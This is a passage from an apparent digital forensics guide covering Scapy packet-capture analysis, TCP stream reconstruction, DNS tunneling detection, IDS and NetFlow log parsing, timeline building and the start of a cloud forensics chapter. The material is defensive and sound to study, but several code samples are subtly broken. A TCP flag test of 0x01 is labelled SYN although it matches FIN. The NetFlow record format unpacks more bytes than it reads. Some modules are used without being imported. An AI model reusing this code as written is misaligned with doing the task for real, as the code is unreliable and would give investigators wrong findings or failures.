(4 bytes): 0xa1b2c3d4 (little-endian) or 0xd4c3b2a1 (big-endian)\n- Version major/minor (2+2 bytes)\n- Timezone offset (4 bytes)\n- Timestamp accuracy (4 bytes)\n- Snapshot length (4 bytes)\n- Link layer type (4 bytes)\n\n**Packet Header:**\n- Timestamp seconds (4 bytes)\n- Timestamp microseconds (4 bytes)\n- Captured length (4 bytes)\n- Original length (4 bytes)\n\n#### PCAP Analysis with Scapy\n\n```python\nfrom scapy.all import *\nimport pandas as pd\nfrom collections import Counter\n\ndef analyze_pcap(pcap_file):\n    \"\"\"Comprehensive PCAP analysis\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    \n    analysis = {\n        'summary': {\n            'total_packets': len(packets),\n            'start_time': packets[0].time if packets else None,\n            'end_time': packets[-1].time if packets else None,\n            'duration': packets[-1].time - packets[0].time if len(packets) > 1 else 0\n        },\n        'protocols': Counter(),\n        'ip_communications': Counter(),\n        'ports': Counter(),\n        'conversations': [],\n        'http_requests': [],\n        'dns_queries': [],\n        'tls_certificates': [],\n        'suspicious_traffic': []\n    }\n    \n    for pkt in packets:\n        # Protocol distribution\n        if IP in pkt:\n            proto = pkt[IP].proto\n            if proto == 6:\n                analysis['protocols']['TCP'] += 1\n            elif proto == 17:\n                analysis['protocols']['UDP'] += 1\n            elif proto == 1:\n                analysis['protocols']['ICMP'] += 1\n        \n        # IP communications\n        if IP in pkt:\n            comm = f\"{pkt[IP].src} -> {pkt[IP].dst}\"\n            analysis['ip_communications'][comm] += 1\n        \n        # Port analysis\n        if TCP in pkt:\n            analysis['ports'][pkt[TCP].sport] += 1\n            analysis['ports'][pkt[TCP].dport] += 1\n        elif UDP in pkt:\n            analysis['ports'][pkt[UDP].sport] += 1\n            analysis['ports'][pkt[UDP].dport] += 1\n        \n        # Conversations (complete TCP streams)\n        if TCP in pkt and pkt[TCP].flags & 0x01:  # SYN\n            conversation = {\n                'src_ip': pkt[IP].src,\n                'src_port': pkt[TCP].sport,\n                'dst_ip': pkt[IP].dst,\n                'dst_port': pkt[TCP].dport,\n                'start_time': pkt.time\n            }\n            analysis['conversations'].append(conversation)\n        \n        # HTTP requests\n        if TCP in pkt and pkt[TCP].dport == 80 and Raw in pkt:\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            if payload.startswith(('GET', 'POST', 'PUT', 'DELETE')):\n                analysis['http_requests'].append({\n                    'time': pkt.time,\n                    'src_ip': pkt[IP].src,\n                    'dst_ip': pkt[IP].dst,\n                    'request': payload.split('\\n')[0]\n                })\n        \n        # DNS queries\n        if UDP in pkt and pkt[UDP].dport == 53 and DNS in pkt:\n            if pkt[DNS].qd:\n                query = pkt[DNS].qd.qname.decode('utf-8', errors='ignore')\n                analysis['dns_queries'].append({\n                    'time': pkt.time,\n                    'src_ip': pkt[IP].src,\n                    'query': query,\n                    'type': pkt[DNS].qd.qtype\n                })\n        \n        # TLS handshakes (Client Hello)\n        if TCP in pkt and Raw in pkt:\n            payload = pkt[Raw].load\n            if len(payload) > 0 and payload[0] == 0x16:  # TLS Handshake\n                if len(payload) > 5 and payload[5] == 0x01:  # Client Hello\n                    analysis['tls_certificates'].append({\n                        'time': pkt.time,\n                        'src_ip': pkt[IP].src,\n                        'dst_ip': pkt[IP].dst,\n                        'dst_port': pkt[TCP].dport\n                    })\n    \n    return analysis\n\n# Run analysis\npcap_analysis = analyze_pcap('capture.pcap')\nprint(f\"Total packets: {pcap_analysis['summary']['total_packets']}\")\nprint(f\"Duration: {pcap_analysis['summary']['duration']:.2f} seconds\")\nprint(f\"Top protocols: {pcap_analysis['protocols'].most_common(5)}\")\nprint(f\"Top conversations: {pcap_analysis['ip_communications'].most_common(5)}\")\n```\n\n#### Session Reconstruction\n\n```python\ndef reconstruct_tcp_streams(pcap_file):\n    \"\"\"Reconstruct complete TCP sessions from PCAP\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    streams = {}\n    \n    for pkt in packets:\n        if TCP in pkt and IP in pkt:\n            # Create stream identifier\n            stream_id = (pkt[IP].src, pkt[TCP].sport, pkt[IP].dst, pkt[TCP].dport)\n            reverse_id = (pkt[IP].dst, pkt[TCP].dport, pkt[IP].src, pkt[TCP].sport)\n            \n            # Initialize stream if new\n            if stream_id not in streams and reverse_id not in streams:\n                streams[stream_id] = {\n                    'packets': [],\n                    'data': b'',\n                    'start_time': pkt.time,\n                    'end_time': pkt.time,\n                    'src_ip': pkt[IP].src,\n                    'src_port': pkt[TCP].sport,\n                    'dst_ip': pkt[IP].dst,\n                    'dst_port': pkt[TCP].dport\n                }\n            \n            # Get the correct stream\n            if stream_id in streams:\n                stream = streams[stream_id]\n            else:\n                stream = streams[reverse_id]\n            \n            # Add packet\n            stream['packets'].append({\n                'time': pkt.time,\n                'seq': pkt[TCP].seq,\n                'flags': pkt[TCP].flags,\n                'len': len(pkt[TCP].payload)\n            })\n            \n            # Add data if present\n            if Raw in pkt:\n                stream['data'] += bytes(pkt[Raw].load)\n            \n            stream['end_time'] = max(stream['end_time'], pkt.time)\n            \n            # Check for stream end\n            if pkt[TCP].flags & 0x01:  # FIN\n                stream['state'] = 'FIN'\n            elif pkt[TCP].flags & 0x04:  # RST\n                stream['state'] = 'RST'\n    \n    # Process streams\n    results = []\n    for stream_id, stream in streams.items():\n        if len(stream['data']) > 0:\n            results.append({\n                'src': f\"{stream['src_ip']}:{stream['src_port']}\",\n                'dst': f\"{stream['dst_ip']}:{stream['dst_port']}\",\n                'duration': stream['end_time'] - stream['start_time'],\n                'packets': len(stream['packets']),\n                'data_size': len(stream['data']),\n                'data': stream['data'][:500],  # First 500 bytes\n                'state': stream.get('state', 'ACTIVE')\n            })\n    \n    return results\n\n# Reconstruct streams\nstreams = reconstruct_tcp_streams('capture.pcap')\nfor stream in streams:\n    print(f\"\\nStream: {stream['src']} -> {stream['dst']}\")\n    print(f\"  Duration: {stream['duration']:.2f}s\")\n    print(f\"  Packets: {stream['packets']}\")\n    print(f\"  Data size: {stream['data_size']} bytes\")\n```\n\n---\n\n### 11.4 DNS Tunneling Detection\n\nDNS tunneling is a technique used to bypass firewalls by encapsulating data in DNS queries and responses.\n\n#### DNS Tunneling Characteristics\n\n**Normal DNS:**\n- Short queries (most < 30 characters)\n- Low frequency\n- Consistent patterns\n- Standard record types (A, AAAA, MX, etc.)\n\n**DNS Tunneling:**\n- Long subdomains (up to 255 characters)\n- High frequency of queries\n- Base64/hex encoded data\n- Unusual record types (TXT, NULL)\n- Consistent packet sizes\n- Fixed TTL values\n\n#### Detection Algorithm\n\n```python\ndef detect_dns_tunneling(pcap_file, threshold=0.8):\n    \"\"\"Detect potential DNS tunneling activity\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    \n    dns_queries = []\n    suspicious = []\n    \n    for pkt in packets:\n        if UDP in pkt and pkt[UDP].dport == 53 and DNS in pkt:\n            if pkt[DNS].qd:\n                query = pkt[DNS].qd.qname.decode('utf-8', errors='ignore').rstrip('.')\n                query_type = pkt[DNS].qd.qtype\n                \n                dns_queries.append({\n                    'time': pkt.time,\n                    'src_ip': pkt[IP].src,\n                    'query': query,\n                    'type': query_type,\n                    'length': len(query)\n                })\n    \n    # Group by source IP\n    from collections import defaultdict\n    by_ip = defaultdict(list)\n    for q in dns_queries:\n        by_ip[q['src_ip']].append(q)\n    \n    for ip, queries in by_ip.items():\n        if len(queries) < 10:  # Not enough data\n            continue\n        \n        # Calculate metrics\n        avg_length = sum(q['length'] for q in queries) / len(queries)\n        max_length = max(q['length'] for q in queries)\n        \n        # Check entropy of subdomains\n        subdomain_entropy = []\n        for q in queries:\n            parts = q['query'].split('.')\n            if len(parts) > 2:  # Has subdomain\n                subdomain = parts[0]\n                entropy = calculate_entropy(subdomain.encode())\n                subdomain_entropy.append(entropy)\n        \n        avg_entropy = sum(subdomain_entropy) / len(subdomain_entropy) if subdomain_entropy else 0\n        \n        # Check for base64-like characters\n        base64_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=')\n        base64_ratio = []\n        for q in queries:\n            subdomain = q['query'].split('.')[0]\n            if subdomain:\n                base64_count = sum(1 for c in subdomain if c in base64_chars)\n                base64_ratio.append(base64_count / len(subdomain))\n        \n        avg_base64 = sum(base64_ratio) / len(base64_ratio) if base64_ratio else 0\n        \n        # Check frequency (queries per second)\n        times = [q['time'] for q in queries]\n        times.sort()\n        intervals = [times[i+1] - times[i] for i in range(len(times)-1)]\n        avg_interval = sum(intervals) / len(intervals) if intervals else 0\n        \n        # Calculate suspicious score\n        score = 0\n        \n        # Long queries\n        if avg_length > 50:\n            score += 0.3\n        if max_length > 200:\n            score += 0.2\n        \n        # High entropy\n        if avg_entropy > 4.5:\n            score += 0.3\n        \n        # Base64-like\n        if avg_base64 > 0.8:\n            score += 0.3\n        \n        # High frequency\n        if avg_interval < 0.1:  # More than 10 per second\n            score += 0.2\n        \n        if score > threshold:\n            suspicious.append({\n                'src_ip': ip,\n                'score': score,\n                'query_count': len(queries),\n                'avg_length': avg_length,\n                'max_length': max_length,\n                'avg_entropy': avg_entropy,\n                'avg_base64_ratio': avg_base64,\n                'avg_interval': avg_interval,\n                'sample_queries': [q['query'] for q in queries[:5]]\n            })\n    \n    return suspicious\n\ndef calculate_entropy(data):\n    \"\"\"Calculate Shannon entropy of data\"\"\"\n    import math\n    from collections import Counter\n    \n    if not data:\n        return 0\n    \n    entropy = 0\n    counter = Counter(data)\n    data_len = len(data)\n    \n    for count in counter.values():\n        probability = count / data_len\n        entropy -= probability * math.log2(probability)\n    \n    return entropy\n\n# Detect DNS tunneling\ntunneling = detect_dns_tunneling('capture.pcap')\nfor t in tunneling:\n    print(f\"\\nSuspicious DNS from {t['src_ip']} (score: {t['score']:.2f})\")\n    print(f\"  Queries: {t['query_count']}\")\n    print(f\"  Avg length: {t['avg_length']:.1f}\")\n    print(f\"  Avg entropy: {t['avg_entropy']:.2f}\")\n    print(f\"  Sample queries: {t['sample_queries']}\")\n```\n\n---\n\n### 11.5 IDS Log Correlation\n\nIntrusion Detection System (IDS) logs provide alerts about suspicious activity.\n\n#### Parsing IDS Logs\n\n```python\nimport json\nimport csv\nfrom datetime import datetime\n\ndef parse_snort_logs(log_file):\n    \"\"\"Parse Snort alert logs\"\"\"\n    \n    alerts = []\n    \n    with open(log_file, 'r') as f:\n        for line in f:\n            try:\n                # Snort unified2 format or CSV\n                if log_file.endswith('.csv'):\n                    parts = line.strip().split(',')\n                    if len(parts) > 5:\n                        alerts.append({\n                            'timestamp': parts[0],\n                            'sid': parts[1],\n                            'signature': parts[2],\n                            'classification': parts[3],\n                            'priority': parts[4],\n                            'src_ip': parts[5],\n                            'src_port': parts[6],\n                            'dst_ip': parts[7],\n                            'dst_port': parts[8],\n                            'protocol': parts[9]\n                        })\n            except:\n                continue\n    \n    return alerts\n\ndef parse_suricata_eve_logs(eve_file):\n    \"\"\"Parse Suricata EVE JSON logs\"\"\"\n    \n    alerts = []\n    \n    with open(eve_file, 'r') as f:\n        for line in f:\n            try:\n                event = json.loads(line)\n                \n                if event.get('event_type') == 'alert':\n                    alert = {\n                        'timestamp': event.get('timestamp'),\n                        'src_ip': event.get('src_ip'),\n                        'src_port': event.get('src_port'),\n                        'dst_ip': event.get('dest_ip'),\n                        'dst_port': event.get('dest_port'),\n                        'proto': event.get('proto'),\n                        'alert': {\n                            'action': event['alert'].get('action'),\n                            'signature': event['alert'].get('signature'),\n                            'category': event['alert'].get('category'),\n                            'severity': event['alert'].get('severity')\n                        }\n                    }\n                    alerts.append(alert)\n            except:\n                continue\n    \n    return alerts\n```\n\n#### Correlating IDS Alerts with PCAP\n\n```python\ndef correlate_alerts_with_pcap(alert_log, pcap_file, time_window=60):\n    \"\"\"Correlate IDS alerts with packet captures\"\"\"\n    \n    # Load alerts\n    alerts = parse_suricata_eve_logs(alert_log)\n    \n    # Load packets\n    packets = rdpcap(pcap_file)\n    \n    correlation = []\n    \n    for alert in alerts:\n        alert_time = datetime.fromisoformat(alert['timestamp'].replace('Z', '+00:00')).timestamp()\n        \n        # Find packets within time window\n        matching_packets = []\n        for pkt in packets:\n            if abs(pkt.time - alert_time) <= time_window:\n                # Check if packet matches alert source/dest\n                if IP in pkt:\n                    if (pkt[IP].src == alert['src_ip'] and \n                        pkt[IP].dst == alert['dst_ip']):\n                        matching_packets.append(pkt)\n        \n        correlation.append({\n            'alert': alert,\n            'matching_packets': len(matching_packets),\n            'packets': matching_packets[:10]  # First 10\n        })\n    \n    return correlation\n\n# Correlate alerts\ncorrelated = correlate_alerts_with_pcap('eve.json', 'capture.pcap')\nfor c in correlated:\n    print(f\"Alert: {c['alert']['alert']['signature']}\")\n    print(f\"  Matching packets: {c['matching_packets']}\")\n```\n\n---\n\n### 11.6 NetFlow Analysis\n\nNetFlow provides summarized network traffic data, useful for identifying patterns without full packet capture.\n\n#### NetFlow v5 Header\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Version (2) | Count (2)                          \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SysUptime (4)                                    \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 UnixSecs (4)                                     \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 UnixNsecs (4)                                    \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 FlowSequence (4)                                 \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 EngineType (1) | EngineID (1) | SamplingMode (2)\u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### NetFlow Record Format\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 SrcAddr (4)                                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 DstAddr (4)                                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 NextHop (4)                                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Input (2) | Output (2)                           \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Packets (4)                                      \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Octets (4)                                       \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 First (4)                                        \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Last (4)                                         \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SrcPort (2) | DstPort (2)                        \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Padding (1) | TCPFlags (1) | Protocol (1) | Tos (1)\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SrcAS (2) | DstAS (2)                            \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 SrcMask (1) | DstMask (1) | Padding (2)          \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n#### NetFlow Analysis\n\n```python\nimport struct\nfrom collections import defaultdict\n\ndef parse_netflow_v5(nf_file):\n    \"\"\"Parse NetFlow v5 records\"\"\"\n    \n    flows = []\n    \n    with open(nf_file, 'rb') as f:\n        while True:\n            # Read header (24 bytes)\n            header_data = f.read(24)\n            if len(header_data) < 24:\n                break\n            \n            header = struct.unpack('!HHIIIIBBH', header_data)\n            version = header[0]\n            count = header[1]\n            \n            # Read flows\n            for _ in range(count):\n                flow_data = f.read(48)\n                if len(flow_data) < 48:\n                    break\n                \n                flow = struct.unpack('!IIIIHHIIIIIIHHBBBBBBH', flow_data)\n                \n                flows.append({\n                    'src_ip': socket.inet_ntoa(struct.pack('!I', flow[0])),\n                    'dst_ip': socket.inet_ntoa(struct.pack('!I', flow[1])),\n                    'next_hop': socket.inet_ntoa(struct.pack('!I', flow[2])),\n                    'input_iface': flow[4],\n                    'output_iface': flow[5],\n                    'packets': flow[6],\n                    'bytes': flow[7],\n                    'first_seen': flow[8],\n                    'last_seen': flow[9],\n                    'src_port': flow[10],\n                    'dst_port': flow[11],\n                    'tcp_flags': flow[13],\n                    'protocol': flow[14],\n                    'tos': flow[15]\n                })\n    \n    return flows\n\ndef analyze_netflow(flows):\n    \"\"\"Analyze NetFlow data\"\"\"\n    \n    analysis = {\n        'total_flows': len(flows),\n        'total_bytes': sum(f['bytes'] for f in flows),\n        'total_packets': sum(f['packets'] for f in flows),\n        'top_src_ips': Counter(),\n        'top_dst_ips': Counter(),\n        'top_ports': Counter(),\n        'protocols': Counter(),\n        'conversations': Counter()\n    }\n    \n    for flow in flows:\n        analysis['top_src_ips'][flow['src_ip']] += flow['bytes']\n        analysis['top_dst_ips'][flow['dst_ip']] += flow['bytes']\n        analysis['top_ports'][flow['dst_port']] += flow['bytes']\n        analysis['protocols'][flow['protocol']] += 1\n        \n        conv = f\"{flow['src_ip']}:{flow['src_port']} -> {flow['dst_ip']}:{flow['dst_port']}\"\n        analysis['conversations'][conv] += flow['bytes']\n    \n    return analysis\n\n# Analyze NetFlow\nflows = parse_netflow_v5('netflow.dat')\nanalysis = analyze_netflow(flows)\nprint(f\"Total flows: {analysis['total_flows']}\")\nprint(f\"Total bytes: {analysis['total_bytes']:,}\")\nprint(f\"Top source IPs by bytes:\")\nfor ip, bytes in analysis['top_src_ips'].most_common(5):\n    print(f\"  {ip}: {bytes:,} bytes\")\n```\n\n---\n\n### 11.7 Timeline Reconstruction\n\nCreating a timeline from network traffic helps understand the sequence of attack events.\n\n#### Network Timeline Creation\n\n```python\ndef create_network_timeline(pcap_file, alert_log=None):\n    \"\"\"Create comprehensive timeline from network evidence\"\"\"\n    \n    timeline = []\n    \n    # Load packets\n    packets = rdpcap(pcap_file)\n    \n    # Add packet events\n    for pkt in packets:\n        if IP in pkt:\n            event = {\n                'timestamp': pkt.time,\n                'type': 'packet',\n                'src_ip': pkt[IP].src,\n                'dst_ip': pkt[IP].dst,\n                'protocol': 'TCP' if TCP in pkt else 'UDP' if UDP in pkt else 'Other'\n            }\n            \n            if TCP in pkt:\n                event['src_port'] = pkt[TCP].sport\n                event['dst_port'] = pkt[TCP].dport\n                event['flags'] = str(pkt[TCP].flags)\n            elif UDP in pkt:\n                event['src_port'] = pkt[UDP].sport\n                event['dst_port'] = pkt[UDP].dport\n            \n            # Extract interesting payloads\n            if Raw in pkt:\n                payload = pkt[Raw].load\n                if b'HTTP' in payload or b'GET' in payload or b'POST' in payload:\n                    event['type'] = 'http_request'\n                    event['payload'] = payload[:100].decode('utf-8', errors='ignore')\n                elif b'SMTP' in payload or b'MAIL' in payload:\n                    event['type'] = 'smtp'\n            \n            timeline.append(event)\n    \n    # Add alert events\n    if alert_log:\n        alerts = parse_suricata_eve_logs(alert_log)\n        for alert in alerts:\n            timeline.append({\n                'timestamp': datetime.fromisoformat(alert['timestamp'].replace('Z', '+00:00')).timestamp(),\n                'type': 'alert',\n                'src_ip': alert['src_ip'],\n                'dst_ip': alert['dst_ip'],\n                'signature': alert['alert']['signature'],\n                'severity': alert['alert']['severity']\n            })\n    \n    # Sort by timestamp\n    timeline.sort(key=lambda x: x['timestamp'])\n    \n    return timeline\n\ndef visualize_timeline(timeline):\n    \"\"\"Create simple text visualization of timeline\"\"\"\n    \n    from datetime import datetime\n    \n    for event in timeline:\n        dt = datetime.fromtimestamp(event['timestamp'])\n        time_str = dt.strftime('%Y-%m-%d %H:%M:%S')\n        \n        if event['type'] == 'alert':\n            print(f\"{time_str} [ALERT] {event['signature']} {event['src_ip']} -> {event['dst_ip']}\")\n        elif event['type'] == 'http_request':\n            print(f\"{time_str} [HTTP] {event['src_ip']} -> {event['dst_ip']} {event.get('payload', '')[:50]}\")\n        elif event['type'] == 'packet':\n            if event.get('flags') and 'S' in event['flags']:  # SYN\n                print(f\"{time_str} [CONN] {event['src_ip']}:{event.get('src_port', '')} -> {event['dst_ip']}:{event.get('dst_port', '')}\")\n\n# Create and visualize timeline\ntimeline = create_network_timeline('capture.pcap', 'eve.json')\nvisualize_timeline(timeline[:20])  # First 20 events\n```\n\n---\n\n## Chapter 12 \u2013 Cloud & Virtualization Forensics\n\n---\n\n### 12.1 Introduction to Cloud Forensics\n\nCloud forensics extends traditional digital forensics to cloud computing environments, where data may be distributed across multiple jurisdictions and service models.\n\n#### Cloud Service Models and Forensic Implications\n\n| Model | Customer Control | Provider Control | Forensic Challenges |\n|-------|-----------------|-------------------|---------------------|\n| **IaaS** (AWS EC2, Azure VM) | OS, apps, data | Hypervisor, hardware | VM snapshot access, network isolation |\n| **PaaS** (Azure SQL, Google App Engine) | Data only | Platform, runtime | Limited log access, API-only evidence |\n| **SaaS** (Office 365, Salesforce) | Content only | Everything | API-only access, multi-tenancy |\n\n#### Cloud Deployment Models\n\n```\nPublic Cloud:    Shared infrastructure, multiple tenants\n    \u2193\nPrivate Cloud:   Dedicated infrastructure, single tenant\n    \u2193\nHybrid Cloud:    Mix of public and private\n    \u2193\nCommunity Cloud: Shared by several organizations\n```\n\n#### Cloud Forensic Challenges\n\n1. **Jurisdiction**: Data may be stored in multiple countries\n2. **Multi-tenancy**: Evidence comingled with other customers\n3. **Data volatility**: Auto-scaling deletes instances\n4. **Access**: Limited to provider APIs\n5. **Encryption**: Customer-managed keys\n6. **Chain of custody**: Multiple parties involved\n7. **Legal**: Terms of service vs. legal requirements\n\n---\n\n### 12.2 AWS Log Analysis\n\nAmazon Web Services provides extensive logging through multiple services.\n\n#### AWS CloudTrail\n\nCloudTrail records all API calls made in your AWS account.\n\n**CloudTrail Log Example:**\n```json\n{\n    \"eventVersion\": \"1.08\",\n    \"userIdentity\": {\n        \"type\": \"IAMUser\",\n        \"principalId\": \"AIDA123456789EXAMPLE\",\n        \"arn\": \"arn:aws:iam::123456789012:user/johndoe\",\n        \"accountId\": \"123456789012\",\n        \"accessKeyId\": \"AKIA123456789EXAMPLE\",\n        \"userName\": \"johndoe\"\n    },\n    \"eventTime\": \"2023-06-15T14:23:45Z\",\n    \"eventSource\": \"ec2.amazonaws.com\",\n    \"eventName\": \"RunInstances\",\n    \"awsRegion\": \"us-east-1\",\n    \"sourceIPAddress\": \"192.168.1.100\",\n    \"userAgent\": \"AWS CLI\",\n    \"requestParameters\": {\n        \"instancesSet\": {\n            \"items\": [{\n                \"imageId\": \"ami-12345678\",\n                \"instanceType\": \"t2.micro\"\n            }]\n        }\n    },\n    \"responseElements\": {\n        \"instancesSet\": {\n            \"items\": [{\n                \"instanceId\": \"i-1234567890abcdef0\"\n            }]\n        }\n    }\n}\n```\n\n#### Parsing CloudTrail Logs\n\n```python\nimport json\nimport gzip\nimport os\nfrom datetime import datetime\nfrom collections import Counter\n\ndef 